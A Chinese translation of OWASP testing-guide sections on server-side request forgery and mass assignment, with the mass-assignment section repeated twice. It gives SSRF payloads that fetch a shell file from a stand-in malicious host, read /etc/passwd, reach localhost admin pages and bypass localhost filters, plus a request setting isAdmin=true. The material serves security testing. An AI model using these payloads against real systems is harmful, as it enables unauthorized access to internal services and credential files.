Web应用程序经常与内部或外部资源进行交互。尽管你可能期望只有预期的资源会处理你发送的数据,但如果数据处理不当,就可能导致注入攻击。其中一种注入攻击被称为服务器端请求伪造(Server - side Request Forgery,SSRF)。一次成功的SSRF攻击可以使攻击者访问应用程序或组织内的受限操作、内部服务或内部文件。在某些情况下,甚至可能导致远程代码执行(Remote Code Execution,RCE)。

测试目标

  • 识别SSRF注入点。
  • 测试注入点是否可被利用。
  • 评估漏洞的严重程度。

测试方法

在进行SSRF测试时,你要尝试让目标服务器在不经意间加载或保存可能具有恶意的内容。最常见的测试是针对本地和远程文件包含。SSRF还有另一个方面:应用服务器通常能够与用户无法直接访问的其他后端系统进行交互,从而形成一种信任关系。这些后端系统通常使用不可路由的私有IP地址,或者只允许特定主机访问。由于它们受到网络拓扑的保护,往往缺乏更复杂的控制机制。这些内部系统通常包含敏感数据或功能。

考虑以下请求:

GET https://example.com/page?page=about.php

你可以使用以下有效负载对该请求进行测试。

加载文件内容

GET https://example.com/page?page=https://malicioussite.com/shell.php

访问受限页面

GET https://example.com/page?page=http://localhost/admin

或者:

GET https://example.com/page?page=http://127.0.0.1/admin

使用回环接口访问仅限主机访问的内容。这种机制意味着,如果你能够访问该主机,就也拥有直接访问admin页面的权限。

这种来自本地机器的请求与普通请求处理方式不同的信任关系,通常是使SSRF成为严重漏洞的原因。

获取本地文件

GET https://example.com/page?page=file:///etc/passwd

使用的HTTP方法

上述所有有效负载都适用于任何类型的HTTP请求,也可以注入到头部和Cookie值中。

关于POST请求的SSRF,有一点很重要:SSRF可能会以盲注的形式出现,因为应用程序可能不会立即返回任何内容。相反,注入的数据可能会用于其他功能,如PDF报告、发票或订单处理等,这些内容可能只有员工可见,而最终用户或测试人员不一定能看到。

你可以在这里参考部分了解更多关于盲注SSRF的信息。

PDF生成器

在某些情况下,服务器可能会将上传的文件转换为PDF格式。尝试注入<iframe><img><base><script>元素,或者指向内部服务的CSS url()函数。

<iframe src="file:///etc/passwd" width="400" height="400">
<iframe src="file:///c:/windows/win.ini" width="400" height="400">

常见的过滤绕过方法

一些应用程序会阻止对localhost127.0.0.1的引用。可以通过以下方法绕过:

  • 使用等效于127.0.0.1的替代IP表示法:
    • 十进制表示法:2130706433
    • 八进制表示法:017700000001
    • IP缩写:127.1
  • 字符串混淆
  • 注册一个解析到127.0.0.1的自有域名

有时应用程序只允许输入符合特定表达式(如域名)的内容。如果URL模式解析器实现不当,就可以绕过这种限制,从而导致类似于语义攻击的攻击。

  • 使用@字符分隔用户信息和主机:https://expected - domain@attacker - domain
  • 使用#字符进行URL分段:https://attacker - domain#expected - domain
  • URL编码
  • 模糊测试
  • 以上方法的组合

有关更多有效负载和绕过技术,请参阅参考部分

修复建议

众所周知,如果不使用允许特定IP和URL的白名单,SSRF是最难防范的攻击之一。有关更多SSRF预防信息,请阅读服务器端请求伪造预防备忘单

参考资料

大规模赋值漏洞测试

编号
WSTG - INPV - 20

概述

现代 Web 应用程序通常基于各种框架构建。许多 Web 应用程序框架允许将用户输入(以 HTTP 请求参数的形式)自动绑定到内部对象,这一特性通常被称为自动绑定。

有时,攻击者可以利用这一特性来访问那些原本不允许从外部修改的字段,从而导致权限提升、数据篡改、绕过安全机制等问题。这种情况就存在大规模赋值漏洞。

敏感属性示例:

  • 与权限相关的属性:这类属性应该仅由具有特权的用户设置(例如 is_adminroleapproved)。
  • 依赖流程的属性:这类属性应该在某个流程完成后由系统内部设置(例如 balancestatusemail_verified)。
  • 内部属性:这类属性应该仅由应用程序内部设置(例如 created_atupdated_at)。

测试目标

  • 识别那些会修改对象的请求。
  • 评估是否有可能修改那些原本不允许从外部修改的字段。

测试方法

以下是一个经典示例,有助于说明该问题。

假设一个 Java Web 应用程序有一个类似如下的 User 对象:

public class User {
    private String username;
    private String password;
    private String email;
    private boolean isAdmin;

    // Getters & Setters
}

为了创建一个新的 User,Web 应用程序实现了如下视图:

<form action="/createUser" method="POST">
    <input name="username" type="text">
    <input name="password" type="text">
    <input name="email" text="text">
    <input type="submit" value="Create">
</form>

处理创建请求的控制器(Spring 提供了与 User 模型的自动绑定):

@RequestMapping(value = "/createUser", method = RequestMethod.POST)
public String createUser(User user) {
    userService.add(user);
    return "successPage";
}

当表单提交时,浏览器会生成如下请求:

POST /createUser
[...]
username=bob&password=supersecretpassword&email=bob@domain.test

然而,由于自动绑定特性,攻击者可以在请求中添加 isAdmin 参数,控制器会自动将其绑定到模型上。

POST /createUser
[...]
username=bob&password=supersecretpassword&email=bob@domain.test&isAdmin=true

这样,创建的用户的 isAdmin 属性将被设置为 true,从而使该用户在应用程序中获得管理员权限。

黑盒测试

检测处理程序

为了确定应用程序的哪些部分存在大规模赋值漏洞,需要枚举应用程序中所有接受用户输入并可能与模型进行映射的部分。这包括所有看起来允许在后端进行创建或更新操作的 HTTP 请求(最常见的是 GET、POST 和 PUT 请求)。

一个最简单的潜在大规模赋值的指示是输入参数名称中存在方括号语法,例如:

<input name="user[name]" type="text">

当遇到此类模式时,尝试添加一个与不存在的属性相关的输入(例如 user[nonexistingattribute]),并分析响应和行为。

如果应用程序没有实现任何控制(例如允许的字段列表),很可能会因为找不到与对象关联的属性而返回错误(例如 500 错误)。更有趣的是,这些错误有时有助于在不访问源代码的情况下发现利用该问题所需的属性名称和值的数据类型。

识别敏感字段

由于在黑盒测试中测试人员无法查看源代码,因此需要通过其他方式来收集与对象关联的属性信息。

分析从后端收到的响应,尤其要注意以下方面:

  • HTML 页面源代码
  • 自定义 JavaScript 代码
  • API 响应

例如,通常可以利用那些返回对象详细信息的处理程序来收集相关字段的线索。

假设存在一个返回用户个人资料的处理程序(例如 GET /profile),它可能包含与用户相关的其他属性(在这个例子中,isAdmin 属性看起来特别值得关注)。

{"_id":12345,"username":"bob","age":38,"email":"bob@domain.test","isAdmin":false}

然后尝试利用允许修改或创建用户的处理程序,添加配置为 trueisAdmin 属性。

另一种方法是使用字典来尝试枚举所有潜在的属性。枚举过程可以自动化(例如通过 wfuzz、Burp Intruder、ZAP fuzzer 等工具)。sqlmap 工具包含一个 common - columns.txt 字典,可用于识别潜在的敏感属性。

以下是一些常见的有趣属性名称示例:

  • is_admin
  • is_administrator
  • isAdmin
  • isAdministrator
  • admin
  • administrator
  • role

当存在多个角色时,尝试比较不同用户级别发出的请求(尤其要关注特权角色)。例如,如果管理员用户发出的请求中包含额外的参数,可以尝试以低权限用户或匿名用户的身份使用这些参数。

检查影响

大规模赋值漏洞的影响可能因具体情况而异。因此,对于上一阶段尝试的每个测试输入,都要分析结果,并确定它是否代表一个对 Web 应用程序安全有实际影响的漏洞。

例如,修改对象的 id 可能导致应用程序拒绝服务或权限提升。另一个例子是修改用户的角色/状态(例如 roleisAdmin)可能导致垂直权限提升。

灰盒测试

当采用灰盒测试方法进行分析时,可以遵循相同的方法来验证问题。然而,对应用程序更深入的了解使得更容易识别存在大规模赋值漏洞的框架和处理程序。

特别是在有源代码的情况下,可以更轻松、准确地搜索输入向量。在进行源代码审查时,可以使用简单的工具(如 grep 命令)在应用程序代码中搜索一个或多个常见模式。

访问数据库模式或源代码还可以轻松识别敏感字段。

Java

Spring MVC 允许将用户输入自动绑定到对象。识别处理状态更改请求的控制器(例如查找 @RequestMapping 的出现位置),然后验证是否有相应的控制措施(在控制器或相关模型中)。对大规模赋值漏洞利用的限制可能表现为以下形式:

  • 通过 DataBinder 类的 setAllowedFields 方法设置可绑定字段列表(例如 binder.setAllowedFields(["username","password","email"])
  • 通过 DataBinder 类的 setDisallowedFields 方法设置不可绑定字段列表(例如 binder.setDisallowedFields(["isAdmin"])

此外,建议关注 @ModelAttribute 注解的使用,它允许指定不同的名称/键。

PHP

Laravel Eloquent ORM 提供了一个 create 方法,允许自动分配属性。然而,最新版本的 Eloquent ORM 提供了针对大规模赋值漏洞的默认保护,要求通过 $fillable 数组显式指定可以自动分配的允许属性,或通过 $guarded 数组指定需要保护的属性(不可绑定)。因此,通过分析模型(继承 Model 类的类),可以确定哪些属性是允许的或被拒绝的,从而指出潜在的漏洞。

.NET

ASP.NET 中的模型绑定会自动将用户输入绑定到对象属性。这对于复杂类型也同样适用,并且如果属性名称与输入匹配,它会自动将输入数据转换为属性。

识别控制器,然后验证是否有相应的控制措施(在控制器内部或相关模型中)。对大规模赋值漏洞利用的限制可能表现为以下形式:

  • 声明为 ReadOnly 的字段
  • 通过 Bind 属性设置可绑定字段列表(例如 [Bind(Include = "FirstName, LastName")] Student std),通过 includeProperties(例如 includeProperties: new[] { "FirstName, LastName" })或通过 TryUpdateModel 方法
  • 通过 Bind 属性设置不可绑定字段列表(例如 [Bind(Exclude = "Status")] Student std)或通过 excludeProperties(例如 excludeProperties: new[] { "Status" }

修复建议

使用框架提供的内置功能来定义可绑定和不可绑定的字段。一种基于允许字段(可绑定)的方法更可取,即明确指定那些应该由用户更新的属性。

一种防止该问题的架构方法是使用 数据传输对象(DTO)模式,以避免直接绑定。DTO 应该只包含那些允许用户编辑的字段。

参考资料

测试目标

  • 识别那些会修改对象的请求。
  • 评估是否有可能修改那些原本不允许从外部修改的字段。

测试方法

以下是一个经典示例,有助于说明该问题。

假设一个 Java Web 应用程序有一个类似如下的 User 对象:

public class User {
    private String username;
    private String password;
    private String email;
    private boolean isAdmin;

    // Getters & Setters
}

为了创建一个新的 User,Web 应用程序实现了如下视图:

<form action="/createUser" method="POST">
    <input name="username" type="text">
    <input name="password" type="text">
    <input name="email" text="text">
    <input type="submit" value="Create">
</form>

处理创建请求的控制器(Spring 提供了与 User 模型的自动绑定):

@RequestMapping(value = "/createUser", method = RequestMethod.POST)
public String createUser(User user) {
    userService.add(user);
    return "successPage";
}

当表单提交时,浏览器会生成如下请求:

POST /createUser
[...]
username=bob&password=supersecretpassword&email=bob@domain.test

然而,由于自动绑定特性,攻击者可以在请求中添加 isAdmin 参数,控制器会自动将其绑定到模型上。

POST /createUser
[...]
username=bob&password=supersecretpassword&email=bob@domain.test&isAdmin=true

这样,创建的用户的 isAdmin 属性将被设置为 true,从而使该用户在应用程序中获得管理员权限。

黑盒测试

检测处理程序

为了确定应用程序的哪些部分存在大规模赋值漏洞,需要枚举应用程序中所有接受用户输入并可能与模型进行映射的部分。这包括所有看起来允许在后端进行创建或更新操作的 HTTP 请求(最常见的是 GET、POST 和 PUT 请求)。

一个最简单的潜在大规模赋值的指示是输入参数名称中存在方括号语法,例如:

<input name="user[name]" type="text">

当遇到此类模式时,尝试添加一个与不存在的属性相关的输入(例如 user[nonexistingattribute]),并分析响应和行为。

如果应用程序没有实现任何控制(例如允许的字段列表),很可能会因为找不到与对象关联的属性而返回错误(例如 500 错误)。更有趣的是,这些错误有时有助于在不访问源代码的情况下发现利用该问题所需的属性名称和值的数据类型。

识别敏感字段

由于在黑盒测试中测试人员无法查看源代码,因此需要通过其他方式来收集与对象关联的属性信息。

分析从后端收到的响应,尤其要注意以下方面:

  • HTML 页面源代码
  • 自定义 JavaScript 代码
  • API 响应

例如,通常可以利用那些返回对象详细信息的处理程序来收集相关字段的线索。

假设存在一个返回用户个人资料的处理程序(例如 GET /profile),它可能包含与用户相关的其他属性(在这个例子中,isAdmin 属性看起来特别值得关注)。

{"_id":12345,"username":"bob","age":38,"email":"bob@domain.test","isAdmin":false}

然后尝试利用允许修改或创建用户的处理程序,添加配置为 trueisAdmin 属性。

另一种方法是使用字典来尝试枚举所有潜在的属性。枚举过程可以自动化(例如通过 wfuzz、Burp Intruder、ZAP fuzzer 等工具)。sqlmap 工具包含一个 common - columns.txt 字典,可用于识别潜在的敏感属性。

以下是一些常见的有趣属性名称示例:

  • is_admin
  • is_administrator
  • isAdmin
  • isAdministrator
  • admin
  • administrator
  • role

当存在多个角色时,尝试比较不同用户级别发出的请求(尤其要关注特权角色)。例如,如果管理员用户发出的请求中包含额外的参数,可以尝试以低权限用户或匿名用户的身份使用这些参数。

检查影响

大规模赋值漏洞的影响可能因具体情况而异。因此,对于上一阶段尝试的每个测试输入,都要分析结果,并确定它是否代表一个对 Web 应用程序安全有实际影响的漏洞。

例如,修改对象的 id 可能导致应用程序拒绝服务或权限提升。另一个例子是修改用户的角色/状态(例如 roleisAdmin)可能导致垂直权限提升。

灰盒测试

当采用灰盒测试方法进行分析时,可以遵循相同的方法来验证问题。然而,对应用程序更深入的了解使得更容易识别存在大规模赋值漏洞的框架和处理程序。

特别是在有源代码的情况下,可以更轻松、准确地搜索输入向量。在进行源代码审查时,可以使用简单的工具(如 grep 命令)在应用程序代码中搜索一个或多个常见模式。

访问数据库模式或源代码还可以轻松识别敏感字段。

Java

Spring MVC 允许将用户输入自动绑定到对象。识别处理状态更改请求的控制器(例如查找 @RequestMapping 的出现位置),然后验证是否有相应的控制措施(在控制器或相关模型中)。对大规模赋值漏洞利用的限制可能表现为以下形式:

  • 通过 DataBinder 类的 setAllowedFields 方法设置可绑定字段列表(例如 binder.setAllowedFields(["username","password","email"])
  • 通过 DataBinder 类的 setDisallowedFields 方法设置不可绑定字段列表(例如 binder.setDisallowedFields(["isAdmin"])

此外,建议关注 @ModelAttribute 注解的使用,它允许指定不同的名称/键。

PHP

Laravel Eloquent ORM 提供了一个 create 方法,允许自动分配属性。然而,最新版本的 Eloquent ORM 提供了针对大规模赋值漏洞的默认保护,要求通过 $fillable 数组显式指定可以自动分配的允许属性,或通过 $guarded 数组指定需要保护的属性(不可绑定)。因此,通过分析模型(继承 Model 类的类),可以确定哪些属性是允许的或被拒绝的,从而指出潜在的漏洞。

.NET

ASP.NET 中的模型绑定会自动将用户输入绑定到对象属性。这对于复杂类型也同样适用,并且如果属性名称与输入匹配,它会自动将输入数据转换为属性。

识别控制器,然后验证是否有相应的控制措施(在控制器内部或相关模型中)。对大规模赋值漏洞利用的限制可能表现为以下形式:

  • 声明为 ReadOnly 的字段
  • 通过 Bind 属性设置可绑定字段列表(例如 [Bind(Include = "FirstName, LastName")] Student std),通过 includeProperties(例如 includeProperties: new[] { "FirstName, LastName" })或通过 TryUpdateModel 方法
  • 通过 Bind 属性设置不可绑定字段列表(例如 [Bind(Exclude = "Status")] Student std)或通过 excludeProperties(例如 excludeProperties: new[] { "Status" }

修复建议

使用框架提供的内置功能来定义可绑定和不可绑定的字段。一种基于允许字段(可绑定)的方法更可取,即明确指定那些应该由用户更新的属性。

一种防止该问题的架构方法是使用 数据传输对象(DTO)模式,以避免直接绑定。DTO 应该只包含那些允许用户编辑的字段。

参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值